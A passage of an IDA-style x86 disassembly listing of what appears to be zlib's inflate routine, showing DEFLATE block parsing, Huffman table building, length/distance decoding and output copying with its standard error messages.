loc_4108C1:				; CODE XREF: sub_41025B:loc_4102C9j
					; DATA XREF: .text:0041148Bo
		cmp	dword ptr [esi+0Ch], 0
		jz	loc_411341
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		call	sub_40E0E6
		mov	ecx, [ebp+arg_0]
		mov	[esi+18h], eax
		mov	[ecx+30h], eax
		add	esp, 0Ch
		mov	dword ptr [esi], 0Bh


loc_4108E7:				; CODE XREF: sub_41025B:loc_4102C9j
					; DATA XREF: .text:0041148Fo
		cmp	[ebp+arg_4], 5
		jz	loc_41137F
		mov	edx, [ebp+arg_0]


loc_4108F4:				; CODE XREF: sub_41025B:loc_4102C9j
					; DATA XREF: .text:00411493o
		cmp	dword ptr [esi+4], 0
		jz	short loc_410911
		mov	ecx, edi
		and	ecx, 7
		shr	ebx, cl
		sub	edi, ecx
		mov	dword ptr [esi], 18h
		mov	[ebp+var_10], ebx
		jmp	loc_411331
; ---------------------------------------------------------------------------


loc_410911:				; CODE XREF: sub_41025B+69Dj
		cmp	edi, 3
		jnb	short loc_41093D


loc_410916:				; CODE XREF: sub_41025B+6DDj
		cmp	[ebp+var_8], 0
		jz	loc_41137F
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		add	edi, 8
		add	ebx, eax
		inc	[ebp+var_4]
		cmp	edi, 3
		jb	short loc_410916
		mov	edx, [ebp+arg_0]


loc_41093D:				; CODE XREF: sub_41025B+6B9j
		mov	eax, ebx
		and	eax, 1
		shr	ebx, 1
		mov	[esi+4], eax
		mov	eax, ebx
		and	eax, 3
		dec	edi
		sub	eax, 0
		jz	short loc_410996
		dec	eax
		jz	short loc_410972
		dec	eax
		jz	short loc_41096A
		dec	eax
		jnz	short loc_41099C
		mov	dword ptr [edx+18h], offset aInvalidBlockTy ; "invalid block type"
		mov	dword ptr [esi], 1Bh
		jmp	short loc_41099C
; ---------------------------------------------------------------------------


loc_41096A:				; CODE XREF: sub_41025B+6FBj
		mov	dword ptr [esi], 0Fh
		jmp	short loc_41099C
; ---------------------------------------------------------------------------


loc_410972:				; CODE XREF: sub_41025B+6F8j
		mov	dword ptr [esi+4Ch], offset asc_41ED18 ; "`\a"
		mov	dword ptr [esi+54h], 9
		mov	dword ptr [esi+50h], offset dword_41F518
		mov	dword ptr [esi+58h], 5
		mov	dword ptr [esi], 12h
		jmp	short loc_41099C
; ---------------------------------------------------------------------------


loc_410996:				; CODE XREF: sub_41025B+6F5j
		mov	dword ptr [esi], 0Dh


loc_41099C:				; CODE XREF: sub_41025B+6FEj
					; sub_41025B+70Dj ...
		shr	ebx, 2
		dec	edi
		mov	[ebp+var_10], ebx
		dec	edi
		jmp	loc_411331
; ---------------------------------------------------------------------------


loc_4109A9:				; CODE XREF: sub_41025B:loc_4102C9j
					; DATA XREF: .text:00411497o
		mov	ecx, edi
		and	ecx, 7
		shr	ebx, cl
		sub	edi, ecx
		cmp	edi, 20h
		mov	[ebp+var_10], ebx
		jnb	short loc_4109E4


loc_4109BA:				; CODE XREF: sub_41025B+784j
		cmp	[ebp+var_8], 0
		jz	loc_41137F
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		add	edi, 8
		add	ebx, eax
		inc	[ebp+var_4]
		cmp	edi, 20h
		mov	[ebp+var_10], ebx
		jb	short loc_4109BA
		mov	edx, [ebp+arg_0]


loc_4109E4:				; CODE XREF: sub_41025B+75Dj
		mov	ecx, ebx
		mov	eax, ebx
		not	ecx
		and	eax, 0FFFFh
		shr	ecx, 10h
		cmp	eax, ecx
		jz	short loc_410A02
		mov	dword ptr [edx+18h], offset aInvalidStoredB ; "invalid stored block lengths"
		jmp	loc_41132B
; ---------------------------------------------------------------------------


loc_410A02:				; CODE XREF: sub_41025B+799j
		xor	ebx, ebx
		mov	[esi+40h], eax
		mov	[ebp+var_10], ebx
		xor	edi, edi
		mov	dword ptr [esi], 0Eh


loc_410A12:				; CODE XREF: sub_41025B:loc_4102C9j
					; DATA XREF: .text:0041149Bo
		mov	eax, [esi+40h]
		test	eax, eax
		mov	[ebp+var_C], eax
		jz	loc_410F8C
		mov	eax, [ebp+var_8]
		cmp	[ebp+var_C], eax
		jbe	short loc_410A2B
		mov	[ebp+var_C], eax


loc_410A2B:				; CODE XREF: sub_41025B+7CBj
		mov	eax, [ebp+var_14]
		cmp	[ebp+var_C], eax
		jbe	short loc_410A36
		mov	[ebp+var_C], eax


loc_410A36:				; CODE XREF: sub_41025B+7D6j
		cmp	[ebp+var_C], 0
		jz	loc_41137F
		push	[ebp+var_C]
		push	[ebp+var_4]
		push	[ebp+var_1C]
		call	sub_40CCF7
		mov	eax, [ebp+var_C]
		sub	[ebp+var_8], eax
		add	[ebp+var_4], eax
		sub	[ebp+var_14], eax
		add	[ebp+var_1C], eax
		add	esp, 0Ch
		sub	[esi+40h], eax
		jmp	loc_411331
; ---------------------------------------------------------------------------


loc_410A68:				; CODE XREF: sub_41025B:loc_4102C9j
					; DATA XREF: .text:0041149Fo
		cmp	edi, 0Eh
		jnb	short loc_410A94


loc_410A6D:				; CODE XREF: sub_41025B+834j
		cmp	[ebp+var_8], 0
		jz	loc_41137F
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		add	edi, 8
		add	ebx, eax
		inc	[ebp+var_4]
		cmp	edi, 0Eh
		jb	short loc_410A6D
		mov	edx, [ebp+arg_0]


loc_410A94:				; CODE XREF: sub_41025B+810j
		mov	eax, ebx
		and	eax, 1Fh
		add	eax, 101h
		mov	[esi+60h], eax
		shr	ebx, 5
		mov	eax, ebx
		and	eax, 1Fh
		inc	eax
		shr	ebx, 5
		mov	[esi+64h], eax
		mov	eax, ebx
		and	eax, 0Fh
		add	eax, 4
		shr	ebx, 4
		sub	edi, 0Eh
		cmp	dword ptr [esi+60h], 11Eh
		mov	[esi+5Ch], eax
		mov	[ebp+var_10], ebx
		ja	short loc_410ADF
		cmp	dword ptr [esi+64h], 1Eh
		ja	short loc_410ADF
		and	dword ptr [esi+68h], 0
		mov	dword ptr [esi], 10h
		jmp	short loc_410B31
; ---------------------------------------------------------------------------


loc_410ADF:				; CODE XREF: sub_41025B+870j
					; sub_41025B+876j
		mov	dword ptr [edx+18h], offset aTooManyLengthO ; "too many	length or distance symbols"
		jmp	loc_41132B
; ---------------------------------------------------------------------------


loc_410AEB:				; CODE XREF: sub_41025B+8B2j
		cmp	[ebp+var_8], 0
		jz	loc_41137F
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		add	ebx, eax
		inc	[ebp+var_4]
		add	edi, 8


loc_410B0A:				; CODE XREF: sub_41025B+8DCj
		cmp	edi, 3
		jb	short loc_410AEB
		mov	ecx, [esi+68h]
		movzx	ecx, ds:word_41F598[ecx*2]
		movzx	eax, bl
		and	eax, 7
		shr	ebx, 3
		mov	[esi+ecx*2+70h], ax
		inc	dword ptr [esi+68h]
		mov	[ebp+var_10], ebx
		sub	edi, 3


loc_410B31:				; CODE XREF: sub_41025B:loc_4102C9j
					; sub_41025B+882j
					; DATA XREF: ...
		mov	eax, [esi+68h]
		cmp	eax, [esi+5Ch]
		jb	short loc_410B0A
		jmp	short loc_410B4F
; ---------------------------------------------------------------------------


loc_410B3B:				; CODE XREF: sub_41025B+8F8j
		mov	eax, [esi+68h]
		movzx	eax, ds:word_41F598[eax*2]
		and	word ptr [esi+eax*2+70h], 0
		inc	dword ptr [esi+68h]


loc_410B4F:				; CODE XREF: sub_41025B+8DEj
		cmp	dword ptr [esi+68h], 13h
		jb	short loc_410B3B
		lea	eax, [esi+530h]
		lea	ecx, [esi+6Ch]
		mov	[ecx], eax
		mov	[esi+4Ch], eax
		lea	edx, [esi+2F0h]
		push	edx
		lea	eax, [esi+54h]
		push	eax
		push	ecx
		mov	dword ptr [eax], 7
		push	13h
		lea	eax, [esi+70h]
		push	eax
		push	0
		call	sub_411515
		add	esp, 18h
		test	eax, eax
		mov	[ebp+var_24], eax
		jz	short loc_410B9B
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aInvalidCodeLen ; "invalid code lengths set"
		jmp	loc_41132B
; ---------------------------------------------------------------------------


loc_410B9B:				; CODE XREF: sub_41025B+92Fj
		and	dword ptr [esi+68h], 0
		mov	dword ptr [esi], 11h
		jmp	loc_410DAD
; ---------------------------------------------------------------------------


loc_410BAA:				; CODE XREF: sub_41025B+98Cj
		cmp	[ebp+var_8], 0
		jz	loc_41137F
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		add	ebx, eax
		inc	[ebp+var_4]
		add	edi, 8


loc_410BC9:				; CODE XREF: sub_41025B+B5Bj
		mov	ecx, [esi+54h]
		xor	eax, eax
		inc	eax
		shl	eax, cl
		mov	ecx, [esi+4Ch]
		dec	eax
		and	eax, ebx
		mov	eax, [ecx+eax*4]
		mov	ecx, eax
		shr	ecx, 8
		movzx	ecx, cl
		cmp	ecx, edi
		mov	[ebp+var_28], eax
		ja	short loc_410BAA
		mov	ecx, eax
		shr	ecx, 10h
		cmp	cx, 10h
		jnb	short loc_410C42
		mov	ecx, eax
		shr	ecx, 8
		movzx	ecx, cl
		jmp	short loc_410C20
; ---------------------------------------------------------------------------


loc_410BFE:				; CODE XREF: sub_41025B+9C7j
		cmp	[ebp+var_8], 0
		jz	loc_41137F
		mov	ecx, [ebp+var_4]
		movzx	edx, byte ptr [ecx]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	edx, cl
		movzx	ecx, ah
		add	ebx, edx
		inc	[ebp+var_4]
		add	edi, 8


loc_410C20:				; CODE XREF: sub_41025B+9A1j
		cmp	edi, ecx
		jb	short loc_410BFE
		movzx	ecx, ah
		mov	eax, [esi+68h]
		shr	ebx, cl
		sub	edi, ecx
		mov	cx, word ptr [ebp+var_28+2]
		mov	[esi+eax*2+70h], cx
		inc	dword ptr [esi+68h]
		mov	[ebp+var_10], ebx
		jmp	loc_410DAD
; ---------------------------------------------------------------------------


loc_410C42:				; CODE XREF: sub_41025B+997j
		cmp	word ptr [ebp+var_28+2], 10h
		jnz	short loc_410CA2
		movzx	eax, ah
		jmp	short loc_410C6D
; ---------------------------------------------------------------------------


loc_410C4E:				; CODE XREF: sub_41025B+A17j
		cmp	[ebp+var_8], 0
		jz	loc_41137F
		mov	ecx, [ebp+var_4]
		movzx	edx, byte ptr [ecx]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	edx, cl
		add	ebx, edx
		inc	[ebp+var_4]
		add	edi, 8


loc_410C6D:				; CODE XREF: sub_41025B+9F1j
		lea	ecx, [eax+2]
		cmp	edi, ecx
		jb	short loc_410C4E
		mov	ecx, eax
		shr	ebx, cl
		sub	edi, eax
		mov	eax, [esi+68h]
		test	eax, eax
		mov	[ebp+var_10], ebx
		jz	loc_410DBE
		movzx	eax, word ptr [esi+eax*2+6Eh]
		mov	[ebp+var_28], eax
		mov	eax, ebx
		and	eax, 3
		add	eax, 3
		shr	ebx, 2
		dec	edi
		dec	edi
		jmp	loc_410D27
; ---------------------------------------------------------------------------


loc_410CA2:				; CODE XREF: sub_41025B+9ECj
		cmp	word ptr [ebp+var_28+2], 11h
		movzx	edx, ah
		jnz	short loc_410D06
		jmp	short loc_410CCD
; ---------------------------------------------------------------------------


loc_410CAE:				; CODE XREF: sub_41025B+A77j
		cmp	[ebp+var_8], 0
		jz	loc_41137F
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		add	ebx, eax
		inc	[ebp+var_4]
		add	edi, 8


loc_410CCD:				; CODE XREF: sub_41025B+A51j
		lea	eax, [edx+3]
		cmp	edi, eax
		jb	short loc_410CAE
		mov	ecx, edx
		shr	ebx, cl
		push	0FFFFFFFDh
		mov	eax, ebx
		and	eax, 7
		add	eax, 3
		shr	ebx, 3
		jmp	short loc_410D1E
; ---------------------------------------------------------------------------


loc_410CE7:				; CODE XREF: sub_41025B+AB0j
		cmp	[ebp+var_8], 0
		jz	loc_41137F
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		add	ebx, eax
		inc	[ebp+var_4]
		add	edi, 8


loc_410D06:				; CODE XREF: sub_41025B+A4Fj
		lea	eax, [edx+7]
		cmp	edi, eax
		jb	short loc_410CE7
		mov	ecx, edx
		shr	ebx, cl
		push	0FFFFFFF9h
		mov	eax, ebx
		and	eax, 7Fh
		add	eax, 0Bh
		shr	ebx, 7


loc_410D1E:				; CODE XREF: sub_41025B+A8Aj
		and	[ebp+var_28], 0
		pop	ecx
		sub	ecx, edx
		add	edi, ecx


loc_410D27:				; CODE XREF: sub_41025B+A42j
		mov	ecx, [esi+64h]
		mov	edx, [esi+68h]
		add	ecx, [esi+60h]
		add	edx, eax
		cmp	edx, ecx
		mov	[ebp+var_10], ebx
		jbe	short loc_410DA9
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aInvalidBitLeng ; "invalid bit length repeat"
		mov	dword ptr [esi], 1Bh


loc_410D49:				; CODE XREF: sub_41025B+B61j
		cmp	dword ptr [esi], 1Bh
		jz	loc_411331
		lea	eax, [esi+530h]
		lea	ecx, [esi+6Ch]
		mov	[ecx], eax
		mov	[esi+4Ch], eax
		lea	edx, [esi+2F0h]
		push	edx
		lea	eax, [esi+54h]
		push	eax
		push	ecx
		push	dword ptr [esi+60h]
		mov	dword ptr [eax], 9
		lea	eax, [esi+70h]
		push	eax
		push	1
		call	sub_411515
		add	esp, 18h
		test	eax, eax
		mov	[ebp+var_24], eax
		jz	short loc_410DCD
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aInvalidLiter_0 ; "invalid literal/lengths set"
		jmp	loc_41132B
; ---------------------------------------------------------------------------


loc_410D99:				; CODE XREF: sub_41025B+B50j
		mov	ecx, [esi+68h]
		mov	dx, word ptr [ebp+var_28]
		dec	eax
		mov	[esi+ecx*2+70h], dx
		inc	dword ptr [esi+68h]


loc_410DA9:				; CODE XREF: sub_41025B+ADCj
		test	eax, eax
		jnz	short loc_410D99


loc_410DAD:				; CODE XREF: sub_41025B:loc_4102C9j
					; sub_41025B+94Aj ...
		mov	eax, [esi+64h]
		add	eax, [esi+60h]
		cmp	[esi+68h], eax
		jb	loc_410BC9
		jmp	short loc_410D49
; ---------------------------------------------------------------------------


loc_410DBE:				; CODE XREF: sub_41025B+A27j
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aInvalidBitLeng ; "invalid bit length repeat"
		jmp	loc_41132B
; ---------------------------------------------------------------------------


loc_410DCD:				; CODE XREF: sub_41025B+B2Dj
		lea	ecx, [esi+6Ch]
		mov	eax, [ecx]
		mov	[esi+50h], eax
		lea	edx, [esi+2F0h]
		push	edx
		lea	eax, [esi+58h]
		push	eax
		push	ecx
		push	dword ptr [esi+64h]
		mov	dword ptr [eax], 6
		mov	eax, [esi+60h]
		lea	eax, [esi+eax*2+70h]
		push	eax
		push	2
		call	sub_411515
		add	esp, 18h
		test	eax, eax
		mov	[ebp+var_24], eax
		jz	short loc_410E12
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aInvalidDista_1 ; "invalid distances set"
		jmp	loc_41132B
; ---------------------------------------------------------------------------


loc_410E12:				; CODE XREF: sub_41025B+BA6j
		mov	dword ptr [esi], 12h


loc_410E18:				; CODE XREF: sub_41025B:loc_4102C9j
					; DATA XREF: .text:004114ABo
		cmp	[ebp+var_8], 6
		jb	short loc_410E7A
		cmp	[ebp+var_14], 102h
		jb	short loc_410E7A
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_1C]
		push	[ebp+var_20]
		mov	[eax+0Ch], ecx
		mov	ecx, [ebp+var_14]
		mov	[eax+10h], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	ecx, [ebp+var_8]
		mov	[eax+4], ecx
		push	eax
		mov	[esi+38h], ebx
		mov	[esi+3Ch], edi
		call	sub_40FC7B
		mov	eax, [ebp+arg_0]
		mov	ebx, [esi+38h]
		mov	edi, [esi+3Ch]
		pop	ecx
		pop	ecx
		mov	ecx, [eax+0Ch]
		mov	[ebp+var_1C], ecx
		mov	ecx, [eax+10h]
		mov	[ebp+var_14], ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		mov	[ebp+var_4], ecx
		mov	[ebp+var_8], eax
		mov	[ebp+var_10], ebx
		jmp	loc_411331
; ---------------------------------------------------------------------------


loc_410E7A:				; CODE XREF: sub_41025B+BC1j
					; sub_41025B+BCAj
		mov	ecx, [esi+54h]
		mov	eax, [esi+4Ch]
		xor	edx, edx
		inc	edx
		shl	edx, cl
		dec	edx
		and	edx, ebx
		mov	eax, [eax+edx*4]
		jmp	short loc_410EBD
; ---------------------------------------------------------------------------


loc_410E8D:				; CODE XREF: sub_41025B+C6Cj
		cmp	[ebp+var_8], 0
		jz	loc_41137F
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		mov	ecx, [esi+54h]
		add	edi, 8
		add	ebx, eax
		inc	[ebp+var_4]
		xor	eax, eax
		inc	eax
		shl	eax, cl
		mov	ecx, [esi+4Ch]
		dec	eax
		and	eax, ebx
		mov	eax, [ecx+eax*4]


loc_410EBD:				; CODE XREF: sub_41025B+C30j
		mov	ecx, eax
		shr	ecx, 8
		movzx	ecx, cl
		cmp	ecx, edi
		ja	short loc_410E8D
		test	al, al
		jz	loc_410F62
		test	al, 0F0h
		jnz	loc_410F62
		mov	[ebp+var_10], eax
		shr	[ebp+var_10], 8
		movzx	edx, byte ptr [ebp+var_10]
		mov	[ebp+var_C], edx
		movzx	ecx, al
		add	ecx, edx
		xor	edx, edx
		inc	edx
		shl	edx, cl
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_28], eax
		shr	eax, 10h
		dec	edx
		and	edx, ebx
		shr	edx, cl
		add	edx, eax
		mov	eax, [esi+4Ch]
		mov	eax, [eax+edx*4]
		movzx	edx, byte ptr [ebp+var_10]
		jmp	short loc_410F4C
; ---------------------------------------------------------------------------


loc_410F0D:				; CODE XREF: sub_41025B+CFDj
		cmp	[ebp+var_8], 0
		jz	loc_41137F
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		mov	ecx, [ebp+var_28]
		movzx	edx, ch
		add	ebx, eax
		inc	[ebp+var_4]
		xor	eax, eax
		add	ecx, edx
		inc	eax
		shl	eax, cl
		add	edi, 8
		mov	ecx, edx
		dec	eax
		and	eax, ebx
		shr	eax, cl
		movzx	ecx, word ptr [ebp+var_28+2]
		add	eax, ecx
		mov	ecx, [esi+4Ch]
		mov	eax, [ecx+eax*4]


loc_410F4C:				; CODE XREF: sub_41025B+CB0j
		mov	ecx, eax
		shr	ecx, 8
		movzx	ecx, cl
		add	ecx, edx
		cmp	ecx, edi
		ja	short loc_410F0D
		movzx	ecx, byte ptr [ebp+var_28+1]
		shr	ebx, cl
		sub	edi, ecx


loc_410F62:				; CODE XREF: sub_41025B+C70j
					; sub_41025B+C78j
		mov	ecx, eax
		shr	ecx, 8
		movzx	ecx, cl
		shr	ebx, cl
		sub	edi, ecx
		mov	ecx, eax
		shr	ecx, 10h
		test	al, al
		mov	[ebp+var_10], ebx
		mov	[esi+40h], ecx
		jnz	short loc_410F88
		mov	dword ptr [esi], 17h
		jmp	loc_411331
; ---------------------------------------------------------------------------


loc_410F88:				; CODE XREF: sub_41025B+D20j
		test	al, 20h
		jz	short loc_410F97


loc_410F8C:				; CODE XREF: sub_41025B+605j
					; sub_41025B+7BFj
		mov	dword ptr [esi], 0Bh
		jmp	loc_411331
; ---------------------------------------------------------------------------


loc_410F97:				; CODE XREF: sub_41025B+D2Fj
		test	al, 40h
		jz	short loc_410FAA
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aInvalidLiteral ; "invalid literal/length code"
		jmp	loc_41132B
; ---------------------------------------------------------------------------


loc_410FAA:				; CODE XREF: sub_41025B+D3Ej
		and	eax, 0Fh
		mov	[esi+48h], eax
		mov	dword ptr [esi], 13h


loc_410FB6:				; CODE XREF: sub_41025B:loc_4102C9j
					; DATA XREF: .text:004114AFo
		mov	eax, [esi+48h]
		test	eax, eax
		jz	short loc_410FF6
		cmp	edi, eax
		jnb	short loc_410FE5


loc_410FC1:				; CODE XREF: sub_41025B+D88j
		cmp	[ebp+var_8], 0
		jz	loc_41137F
		mov	ecx, [ebp+var_4]
		movzx	edx, byte ptr [ecx]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	edx, cl
		add	edi, 8
		add	ebx, edx
		inc	[ebp+var_4]
		cmp	edi, [esi+48h]
		jb	short loc_410FC1


loc_410FE5:				; CODE XREF: sub_41025B+D64j
		xor	edx, edx
		inc	edx
		mov	ecx, eax
		shl	edx, cl
		dec	edx
		and	edx, ebx
		add	[esi+40h], edx
		shr	ebx, cl
		sub	edi, eax


loc_410FF6:				; CODE XREF: sub_41025B+D60j
		mov	dword ptr [esi], 14h


loc_410FFC:				; CODE XREF: sub_41025B:loc_4102C9j
					; DATA XREF: .text:004114B3o
		mov	ecx, [esi+58h]
		mov	eax, [esi+50h]
		xor	edx, edx
		inc	edx
		shl	edx, cl
		dec	edx
		and	edx, ebx
		mov	eax, [eax+edx*4]
		jmp	short loc_41103F
; ---------------------------------------------------------------------------


loc_41100F:				; CODE XREF: sub_41025B+DEEj
		cmp	[ebp+var_8], 0
		jz	loc_41137F
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		mov	ecx, [esi+58h]
		add	edi, 8
		add	ebx, eax
		inc	[ebp+var_4]
		xor	eax, eax
		inc	eax
		shl	eax, cl
		mov	ecx, [esi+50h]
		dec	eax
		and	eax, ebx
		mov	eax, [ecx+eax*4]


loc_41103F:				; CODE XREF: sub_41025B+DB2j
		mov	ecx, eax
		shr	ecx, 8
		movzx	ecx, cl
		cmp	ecx, edi
		ja	short loc_41100F
		test	al, 0F0h
		jnz	loc_4110DC
		mov	[ebp+var_10], eax
		shr	[ebp+var_10], 8
		movzx	edx, byte ptr [ebp+var_10]
		mov	[ebp+var_C], edx
		movzx	ecx, al
		add	ecx, edx
		xor	edx, edx
		inc	edx
		shl	edx, cl
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_28], eax
		shr	eax, 10h
		dec	edx
		and	edx, ebx
		shr	edx, cl
		add	edx, eax
		mov	eax, [esi+50h]
		mov	eax, [eax+edx*4]
		movzx	edx, byte ptr [ebp+var_10]
		jmp	short loc_4110C6
; ---------------------------------------------------------------------------


loc_411087:				; CODE XREF: sub_41025B+E77j
		cmp	[ebp+var_8], 0
		jz	loc_41137F
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		mov	ecx, [ebp+var_28]
		movzx	edx, ch
		add	ebx, eax
		inc	[ebp+var_4]
		xor	eax, eax
		add	ecx, edx
		inc	eax
		shl	eax, cl
		add	edi, 8
		mov	ecx, edx
		dec	eax
		and	eax, ebx
		shr	eax, cl
		movzx	ecx, word ptr [ebp+var_28+2]
		add	eax, ecx
		mov	ecx, [esi+50h]
		mov	eax, [ecx+eax*4]


loc_4110C6:				; CODE XREF: sub_41025B+E2Aj
		mov	ecx, eax
		shr	ecx, 8
		movzx	ecx, cl
		add	ecx, edx
		cmp	ecx, edi
		ja	short loc_411087
		movzx	ecx, byte ptr [ebp+var_28+1]
		shr	ebx, cl
		sub	edi, ecx


loc_4110DC:				; CODE XREF: sub_41025B+DF2j
		mov	ecx, eax
		shr	ecx, 8
		movzx	ecx, cl
		shr	ebx, cl
		sub	edi, ecx
		test	al, 40h
		mov	[ebp+var_10], ebx
		jz	short loc_4110FE
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+18h], offset aInvalidDista_0 ; "invalid distance	code"
		jmp	loc_41132B
; ---------------------------------------------------------------------------


loc_4110FE:				; CODE XREF: sub_41025B+E92j
		mov	edx, [ebp+arg_0]
		mov	ecx, eax
		shr	ecx, 10h
		and	eax, 0Fh
		mov	[esi+44h], ecx
		mov	[esi+48h], eax
		mov	dword ptr [esi], 15h


loc_411115:				; CODE XREF: sub_41025B:loc_4102C9j
					; DATA XREF: .text:004114B7o
		mov	eax, [esi+48h]
		test	eax, eax
		jz	short loc_41115C
		cmp	edi, eax
		jnb	short loc_411147


loc_411120:				; CODE XREF: sub_41025B+EE7j
		cmp	[ebp+var_8], 0
		jz	loc_41137F
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		add	edi, 8
		add	ebx, eax
		inc	[ebp+var_4]
		cmp	edi, [esi+48h]
		jb	short loc_411120
		mov	edx, [ebp+arg_0]


loc_411147:				; CODE XREF: sub_41025B+EC3j
		mov	ecx, [esi+48h]
		xor	eax, eax
		inc	eax
		shl	eax, cl
		dec	eax
		and	eax, ebx
		add	[esi+44h], eax
		shr	ebx, cl
		sub	edi, ecx
		mov	[ebp+var_10], ebx


loc_41115C:				; CODE XREF: sub_41025B+EBFj
		mov	eax, [esi+2Ch]
		sub	eax, [ebp+var_14]
		add	eax, [ebp+var_20]
		cmp	[esi+44h], eax
		jbe	short loc_411176
		mov	dword ptr [edx+18h], offset aInvalidDistanc ; "invalid distance	too far	back"
		jmp	loc_41132B
; ---------------------------------------------------------------------------


loc_411176:				; CODE XREF: sub_41025B+F0Dj
		mov	dword ptr [esi], 16h


loc_41117C:				; CODE XREF: sub_41025B:loc_4102C9j
					; DATA XREF: .text:004114BBo
		cmp	[ebp+var_14], 0
		jz	loc_41137F
		mov	eax, [ebp+var_20]
		sub	eax, [ebp+var_14]
		mov	ecx, [esi+44h]
		cmp	ecx, eax
		jbe	short loc_4111C0
		sub	ecx, eax
		mov	eax, [esi+34h]
		mov	[ebp+var_C], ecx
		mov	ecx, [esi+30h]
		cmp	[ebp+var_C], ecx
		jbe	short loc_4111AE
		add	eax, [esi+28h]
		sub	[ebp+var_C], ecx
		sub	eax, [ebp+var_C]
		jmp	short loc_4111B3
; ---------------------------------------------------------------------------


loc_4111AE:				; CODE XREF: sub_41025B+F46j
		sub	eax, [ebp+var_C]
		add	eax, ecx


loc_4111B3:				; CODE XREF: sub_41025B+F51j
		mov	ecx, [esi+40h]
		cmp	[ebp+var_C], ecx
		mov	[ebp+var_28], ecx
		jbe	short loc_4111CE
		jmp	short loc_4111CB
; ---------------------------------------------------------------------------


loc_4111C0:				; CODE XREF: sub_41025B+F36j
		mov	eax, [ebp+var_1C]
		sub	eax, ecx
		mov	ecx, [esi+40h]
		mov	[ebp+var_28], ecx


loc_4111CB:				; CODE XREF: sub_41025B+F63j
		mov	[ebp+var_C], ecx


loc_4111CE:				; CODE XREF: sub_41025B+F61j
		mov	ecx, [ebp+var_14]
		cmp	[ebp+var_C], ecx
		jbe	short loc_4111D9
		mov	[ebp+var_C], ecx


loc_4111D9:				; CODE XREF: sub_41025B+F79j
		sub	ecx, [ebp+var_C]
		mov	[ebp+var_14], ecx
		mov	ecx, [ebp+var_28]
		sub	ecx, [ebp+var_C]
		mov	[esi+40h], ecx


loc_4111E8:				; CODE XREF: sub_41025B+F9Bj
		mov	edx, [ebp+var_1C]
		mov	cl, [eax]
		inc	[ebp+var_1C]
		inc	eax
		dec	[ebp+var_C]
		mov	[edx], cl
		jnz	short loc_4111E8
		cmp	dword ptr [esi+40h], 0
		jnz	loc_411331
		jmp	short loc_41121C
; ---------------------------------------------------------------------------


loc_411204:				; CODE XREF: sub_41025B:loc_4102C9j
					; DATA XREF: .text:004114BFo
		cmp	[ebp+var_14], 0
		jz	loc_41137F
		mov	ecx, [ebp+var_1C]
		mov	al, [esi+40h]
		inc	[ebp+var_1C]
		dec	[ebp+var_14]
		mov	[ecx], al


loc_41121C:				; CODE XREF: sub_41025B+FA7j
		mov	dword ptr [esi], 12h
		jmp	loc_411331
; ---------------------------------------------------------------------------


loc_411227:				; CODE XREF: sub_41025B:loc_4102C9j
					; DATA XREF: .text:004114C3o
		cmp	dword ptr [esi+8], 0
		jz	loc_4112DE
		cmp	edi, 20h
		jnb	short loc_411260


loc_411236:				; CODE XREF: sub_41025B+1000j
		cmp	[ebp+var_8], 0
		jz	loc_41137F
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		dec	[ebp+var_8]
		mov	ecx, edi
		shl	eax, cl
		add	edi, 8
		add	ebx, eax
		inc	[ebp+var_4]
		cmp	edi, 20h
		mov	[ebp+var_10], ebx
		jb	short loc_411236
		mov	edx, [ebp+arg_0]


loc_411260:				; CODE XREF: sub_41025B+FD9j
		mov	eax, [ebp+var_20]
		sub	eax, [ebp+var_14]
		add	[edx+14h], eax
		add	[esi+1Ch], eax
		test	eax, eax
		mov	[ebp+var_20], eax
		jz	short loc_41129E
		push	eax
		mov	eax, [ebp+var_1C]
		sub	eax, [ebp+var_20]
		cmp	dword ptr [esi+10h], 0
		push	eax
		push	dword ptr [esi+18h]
		jz	short loc_41128B
		call	sub_40E5EB
		jmp	short loc_411290
; ---------------------------------------------------------------------------


loc_41128B:				; CODE XREF: sub_41025B+1027j
